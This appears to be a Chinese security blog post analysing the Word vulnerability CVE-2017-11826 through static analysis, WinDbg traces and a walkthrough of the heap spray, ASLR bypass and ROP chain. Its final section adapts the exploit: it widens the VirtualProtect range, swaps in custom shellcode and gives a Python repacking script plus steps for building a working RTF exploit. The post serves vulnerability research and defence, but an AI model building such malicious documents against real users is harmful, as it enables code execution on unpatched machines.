CVE-2017-11826 漏洞分析利用
2021-8-4 15:46:30 Author: mp.weixin.qq.com(查看原文) 阅读量:1 收藏

前言

最近开始分析 Office 漏洞,拿到 CVE-2017-11826 的样本后发现无法在 Office2010 上成功执行,打算分析并改造该 EXP。参考了许多资料,结合自己的理解写了本文,供大家学习和参考。

漏洞分析

分析环境

OS:              Win7 x64 SP1
Office:     2010 x86
Image name:      wwlib.dll
Timestamp:       Sat Mar 27 23:37:07 2010 (4BAE2623)
CheckSum:        0127F568
ImageSize:       0127A000
File version:    14.0.4762.1000
Product version: 14.0.4762.0

静态分析

在 rtf 文档中搜索 object,发现嵌入了 3 个 ole 对象:

第一个对象的 CLSID 为D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731,在注册表搜索后发现该对象位于C:\Windows\SysWOW64\msvbvm60.dll,而该 dll 是没有 ASLR 的。

通过 ProcessExplorer 发现 word 打开 rtf 文档后确实加载了 msvbvm60.dll,且该 dll 无 ASLR,说明该 ole 对象的作用是绕过 ASLR。

使用rtfobj.py -s all提取 ole 对象:

第一个对象经过上面的分析是用于绕过 ASLR 的,第二和第三个都是.doc 文档,使用压缩软件直接打开第二个文档,文档结构如下:

│  [Content_Types].xml

├─docProps
│      app.xml
│      core.xml

├─word
│  │  document.xml
│  │  fontTable.xml
│  │  settings.xml
│  │  styles.xml
│  │  webSettings.xml
│  │
│  ├─activeX
│  │  │  activeX1.bin
│  │  │  activeX1.xml
│  │  │  activeX2.xml
│  │  │   ······
│  │  │  activeX40.xml
│  │  │
│  │  └─_rels
│  │          activeX1.xml.rels
│  │          activeX2.xml.rels
│  │            ······
│  │          activeX40.xml.rels
│  │
│  ├─media
│  │      image1.wmf
│  │
│  ├─theme
│  │      theme1.xml
│  │
│  └─_rels
│          document.xml.rels

└─_rels
        .rels

可以看出使用了 40 个 activeX.xml 文件,文件内容如下:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<ax:ocx ax:classid="{00000000-0000-0000-0000-000000000001}" ax:persistence="persistStorage" r:id="rId1" xmlns:ax="http://schemas.microsoft.com/office/2006/activeX" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"/>

40 个 xml 文件内容一致,加载了 CLSID 为{00000000-0000-0000-0000-000000000001}的对象,然而系统中并没有这个对象,所以并不会加载任何对象,这么做是为了提高堆喷的效率,具体原理可查看SPRAYING THE HEAP IN SECONDS USING ACTIVEX CONTROLS IN MICROSOFT OFFICE[1]一文。

而 40 个 activeX.xml.rels 的内容也完全一致:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
 <Relationship Id="rId1" Type="http://schemas.microsoft.com/office/2006/relationships/activeXControlBinary" Target="activeX1.bin"/>
</Relationships>

都指向了 activeX1.bin 文件,因此会将 activeX1.bin 在内存中加载 40 次,以此达到堆喷的目的。

activeX1.bin 文件结构如下:

activeX1.bin
│ -文件头
│ -数据
│    │---CB 40 94 72 EC 83 88 08 CB 40 94 72 EC 83 88 08
│    │      ······
│    │---CB 40 94 72 EC 83 88 08 CB 40 94 72 EC 83 88 08
│    │---shellcode
│    │---2B 0E 98 72 2B 0E 98 72 2B 0E 98 72 2B 0E 98 72
│    │      ······
│    │---2B 0E 98 72 2B 0E 98 72 2B 0E 98 72 2B 0E 98 72
│    │      ······
│    │---CB 40 94 72 EC 83 88 08 CB 40 94 72 EC 83 88 08
│    │      ······

看结构似乎是滑板指令加 shellcode,待调试验证。

第三个文档结构如下:

│  [Content_Types].xml

├─docProps
│      app.xml
│      core.xml

├─word
│  │  document.xml
│  │  endnotes.xml
│  │  fontTable.xml
│  │  footnotes.xml
│  │  settings.xml
│  │  styles.xml
│  │  webSettings.xml
│  │
│  ├─theme
│  │      theme1.xml
│  │
│  └─_rels
│          document.xml.rels

└─_rels
        .rels

document.xml 的内容如下:

观测到<w:font 标签内有异常字符,且标签未正常闭合,预测漏洞触发于该处。

通过静态分析了解到 RTF 文档通过内嵌 3 个 ole 对象来实现 ASLR 绕过、堆喷射和漏洞触发,ASLR 绕过是通过加载 CLSID 为D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731的 COM 对象,将msvbvm60.dll加载到内存中。堆喷射利用 40 个 activeX.xml.rels 指向唯一的 activeX1.bin 文件,将 activeX1.bin 文件中的数据部分,即偏移为 0x800 后的内容加载到内存中实现堆喷射。而漏洞触发部分则利用 document.xml 中的异常字符和标签触发漏洞。

动态调试

使用 windbg 附加 word,打开漏洞文件:

可以看到异常因为 ecx+4 指向的内存无法访问导致错误。查看反汇编得知 ecx 的值来源于 eax,此时 eax 的值为088888ec。再次打开漏洞文件发现 ecx 的值改变,但是 eax 的值仍为088888ec,说明 eax 的值为故意构造。

于是打算下断在函数wwlib!DllGetClassObject+0x42d4 (71ed98b0)查看 eax 是如何生成的。查看 wwlib 的基地址,算出函数的偏移为wwlib+004da16b

0:000> lm m wwlib
start    end        module name
71ed0000 7314a000   wwlib      (export symbols)       C:\PROGRA~2\MICROS~1\Office14\wwlib.dll
0:000> ? 723aa16b-71ed0000
Evaluate expression: 5087595 = 004da16b

重新打开漏洞文档,bp wwlib+004da16b下断:

步过两次后执行到如图所示位置时,查看 eax 所在的内存:

发现和在文档 3 中的字符串一致,接着查看 eax+44,对应的正是异常触发时 eax 的值088888ec

但在 xml 文件中,字符串中的异常字符的十六进制为e8a3ace0a288

在文件中显示的格式是 Ascii,然而在内存中显示的是 Unicode,于是将文件中的字符以 utf-8 格式转换为十六进制正是 eax 的值088888ec

说明通过修改该字符串可以控制 eax 的值,进而控制 eip。

在 ida 中找到奔溃函数为 sub_31A55CE6,发现变量 v3 是宽字节字符串,位于 arg2+0x18,变量 v4 是一个长度,位于 arg2+0x1c

在 windbg 设置崩溃函数起始点打印 v3 为字符串,长度为 v4:bp wwlib+385ce6 "du poi(poi(esp+8)+18) Lpoi(poi(esp+8)+1c); g;"

可以看到 v3 就是 xml 文件中的标签,在解析到 idmp 标签后程序崩溃,然而并没有看到 font 标签,于是寻找到崩溃函数的父函数 sub_3170FA5A

崩溃函数 arg2 的值为 edi,而 edi 的值为父函数的 arg2:

于是在父函数和崩溃函数同时下断,查看标签解析情况:

bp wwlib+3fa5a ".printf \"Parent_Func: \"; du poi(poi(esp+8)+18) Lpoi(poi(esp+8)+1c); g;"
bp wwlib+385ce6 ".printf \"Crash_Func: \"; du poi(poi(esp+8)+18) Lpoi(poi(esp+8)+1c); g;"

在父函数成功解析到 font 标签,猜测因为 font 标签未闭合而导致崩溃函数解析标签出错产生漏洞,修改了 xml 文件闭合了 font 标签:

将修改后的 docx 文件嵌入到新建的 rtf 文件中,在 windbg 中调试后发现 eax 的值改变了,并且没有异常,证实因为 font 标签未闭合导致的漏洞。

继续调试发现异常触发点的 eax 和 ecx 都是来自于 esi,而 esi 为漏洞函数的 arg1:

因此在漏洞函数打印标签以及[[esi+17f0]]、[[esi+17f0]+8]、[[esi+17f0]+c]和[esi+17f0]的值:

bp wwlib+385ce6 "du poi(poi(esp+8)+18) Lpoi(poi(esp+8)+1c); r $t0=poi(poi(esp+4)+17f0); dd poi($t0) L1; dd poi($t0)+8 L1; dd poi($t0)+c L1; dd $t0 L1; .printf\"\\n\"; g;"

打印出的结构就是 Taglist 结构体,具体结构参考 goabout2 的office CVE-2017-11826 杂谈[2]一文。

接着调试异常触发点上的函数,发现函数功能为通过层级标签获取 TagObject Array[Index-2]:

继续向上追溯,发现函数 GetTagObject 也调用了 GetTagObjectByIndex,通过分析发现该函数获取的是 TagObject Array[Index-1]的地址:

分析到这里,漏洞产生的原因也就出来了,由于 word 每解析一个标签,Current_Index 的值就加一,当解析到闭合标签,Current_Index 值会减 1。由于构造了没有闭合的 font 标签,因此导致在解析 idmap 标签时比正常文件的 Current_Index 多一,导致原本应该获取 OLEObject 标签的 TagObject 变成获取了 font 的 TagObject,因此造成了标签类型混淆导致漏洞的发生。

将标签层级和 xml 文件标签对应:

可以证实确实因为 Current_Index 值比正常文件的多一导致的类型混淆。

在内存中查看当解析 idmap 层级为 6 时 Taglist 的内存结构:

> bp wwlib+4da16b
> g
Breakpoint 1 hit
eax=070f1800 ebx=00000000 ecx=0225466c edx=00000004 esi=0225466c edi=070f19dc
eip=6f95a16b esp=002cf428 ebp=002cf490 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
wwlib!DllGetLCID+0x2cc775:
6f95a16b e840f7b2ff      call    wwlib!DllGetClassObject+0x42d4 (6f4898b0)
> ub $ip L8
wwlib!DllGetLCID+0x2cc75d:
6f95a153 83780401        cmp     dword ptr [eax+4],1
6f95a157 0f85f5bdeaff    jne     wwlib!DllGetLCID+0x17855c (6f805f52)
6f95a15d 8bb6f0170000    mov     esi,dword ptr [esi+17F0h]
6f95a163 8b06            mov     eax,dword ptr [esi]
6f95a165 8b10            mov     edx,dword ptr [eax]
6f95a167 4a              dec     edx
6f95a168 4a              dec     edx
6f95a169 8bce            mov     ecx,esi

此时 eax 的值即为 Taglist,因此查看 eax 指向的 Taglist 结构:

此时 TagObject[4]+0x44 的值为0x090b4000,查看该值在内存中存储的数据:

发现[[TagObject[4]+0x44]+0x44]的值正是 xml 文件中 font 标签构造的固定地址,自此漏洞部分分析完毕。

漏洞利用

先启动 word 然后使用 windbg 附加会导致堆喷无法成功,继而无法分析漏洞利用部分。因此使用 gflags.exe 让调试器直接加载 winword.exe:

设置断点在异常触发点:

> bp wwlib+4da184
> g
Breakpoint 0 hit
eax=088888ec ebx=00000000 ecx=088883ec edx=00000004 esi=004b44b4 edi=0340cddc
eip=6e2da184 esp=002f5f14 ebp=002f5f7c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
wwlib!DllGetLCID+0x2cc78e:
6e2da184 50              push    eax
0:000> u $ip
wwlib!DllGetLCID+0x2cc78e:
6e2da184 50              push    eax
6e2da185 ff5104          call    dword ptr [ecx+4]
6e2da188 e9fabdeaff      jmp     wwlib!DllGetLCID+0x178591 (6e185f87)
6e2da18d 83f802          cmp     eax,2
6e2da190 750f            jne     wwlib!DllGetLCID+0x2cc7ab (6e2da1a1)
6e2da192 83c624          add     esi,24h
6e2da195 56              push    esi
6e2da196 52              push    edx
> dd ecx+4
088883f0  72980e2b 72980e2b 72980e2b 72980e2b
08888400  72980e2b 72980e2b 72980e2b 72980e2b
08888410  72980e2b 72980e2b 72980e2b 72980e2b
08888420  72980e2b 72980e2b 72980e2b 72980e2b
08888430  72980e2b 72980e2b 72980e2b 72980e2b
08888440  72980e2b 72980e2b 72980e2b 72980e2b
08888450  72980e2b 72980e2b 72980e2b 72980e2b
08888460  72980e2b 72980e2b 72980e2b 72980e2b

发现 exc+4 的值为 activeX1.bin 中 shellcode 下方的填充,说明已经成功堆喷。

步入[exc+4]后发现来到了 msvbvm60.dll,已经进入了 ROP 链:

> t
eax=088888ec ebx=00000000 ecx=088883ec edx=00000004 esi=004c44b4 edi=0043cddc
eip=72980e2b esp=00385a18 ebp=00385a88 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
msvbvm60!IID_IVbaHost+0x127eb:
72980e2b 94              xchg    eax,esp

而第一条指令则是用来栈迁移,在之前已经将 eax 入栈,而 eax 的值正是构造好的0x088888ec,执行指令后,esp 的值已经变成了0x088888ec

而 eax 中的内容刚好位于 shellcode 的上方,此时 ROP 链为滑板指令,循环执行pop eaxret,此时可以下断bp 729440cc ".if(esp=08888f48){}.else{gc}"停在了滑板指令结束的位置:

当执行到最后一次滑板指令时,会将0x729410d0放入 eax 中,而该值是 msvbvm60.dll 的 IAT 表中的数据,查看后存储的是 VirtualProtect 的地址:

紧接着通过 ret 跳转到 ROP 指令jmp [eax]执行 VirtualProtect,而此时栈中为构造好的 VirtualProtect 的参数:

再次跳转后进入到 kernelbase.dll 的 VirtualProtect:

执行后会跳转到0x08888f70执行 shellcode:

然而 VirtualProtect 的修改的内存范围只有0x08888c90 - 08888e91,而 shellcode 却位于0x08888f70,因此会触发 c0000005 访问异常,shellcode 执行失败:

利用改造

activeX1.bin 文件中布局如下:

由于原本 VirtualProtect 修改的范围为 0x201 不够,因此修改为 0x1000 确保能够覆盖 shellcode,随后将 shellcode 替换为自己的 shellcode 即可。

将修改好的 activeX1.bin 文件替换到 rtfobj.py 提取出来进行堆喷的文档中,并修改为.docx,脚本参考Exploiting Word: CVE-2017-11826[3]一文,替换脚本如下:

import os
import shutil
import zipfile

template_path = ""
final_docx_name = ""
activeX_bin_path = ""

def pack_file_to_open_xml_docx(template_path, final_docx_name, activeX_bin_path):
    if not os.path.exists(template_path) or not os.path.exists(activeX_bin_path):
        print("Template docx file or activeX.bin file not exist.")
        return

    with open(activeX_bin_path, "rb"as f_:
        object_bin_data = f_.read()

    zip_docx = template_path + ".zip"
    current_dir = os.path.abspath(os.path.dirname(__file__))
    new_path = os.path.join(current_dir, "exp", os.path.basename(zip_docx))
    if os.path.exists(new_path):
        os.remove(new_path)

    shutil.copy(template_path, new_path)
    zip_docx = new_path
    # open temp docx and a copy for modification
    zin = zipfile.ZipFile(zip_docx, 'r')
    zip_docx_copy = zip_docx + "_copy_"
    zout = zipfile.ZipFile(zip_docx_copy, "w")
    # modify the docx template with exploit
    for item in zin.infolist ():
        if item.filename.find("activeX1") >= 0 and item.filename.find(".bin") >= 0:
            pass
        else:
            buffer = zin.read(item.filename)
            zout.writestr(item, buffer) # use existing file

    zout.writestr("word/activeX/" + "activeX1.bin", object_bin_data)
    zout.close ()
    zin.close ()
    # convert to docx
    os.rename (zip_docx_copy, final_docx_name)
    os.remove(zip_docx)

pack_file_to_open_xml_docx(template_path, final_docx_name, activeX_bin_path)

新建一个 rtf 文件,将替换好的 docx 文件添加到 rtf 文件中,保存后使用 010Editor 打开,搜索 object,将{\object 和{*\objdata 的全部内容复制:

再新建一个 rtf 文件,按照堆喷射、Bypass ASLR 和漏洞触发的顺序添加三个对象。堆喷射的内容就是上方复制好的内容,其他两个可以直接在原 EXP 中复制过来即可,最终 EXP 的结构如下所示:

最终成功执行了 shellcode:

参考链接

[1]

SPRAYING THE HEAP IN SECONDS USING ACTIVEX CONTROLS IN MICROSOFT OFFICE:  https://www.greyhathacker.net/?p=911

[2]

office CVE-2017-11826 杂谈:  https://www.cnblogs.com/goabout2/p/8186018.html

[3]

Exploiting Word: CVE-2017-11826:  https://www.tarlogic.com/blog/exploiting-word-cve-2017-11826/

[4]

cve-2017-11826漏洞分析、利用及动态检测: https://www.anquanke.com/post/id/87122

[5]

open xml标签解析类漏洞分析思路:  https://www.anquanke.com/post/id/103080


文章来源: https://mp.weixin.qq.com/s?__biz=Mzg2MTY0MDc1Mw==&mid=2247484033&idx=1&sn=8c729692b301afce94f0d7abfa8f99c6&chksm=ce1543dff962cac9acc1ff893b3a64c5799ea45d0f77d848679eed91385fdc7c97d3f0e84da7&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh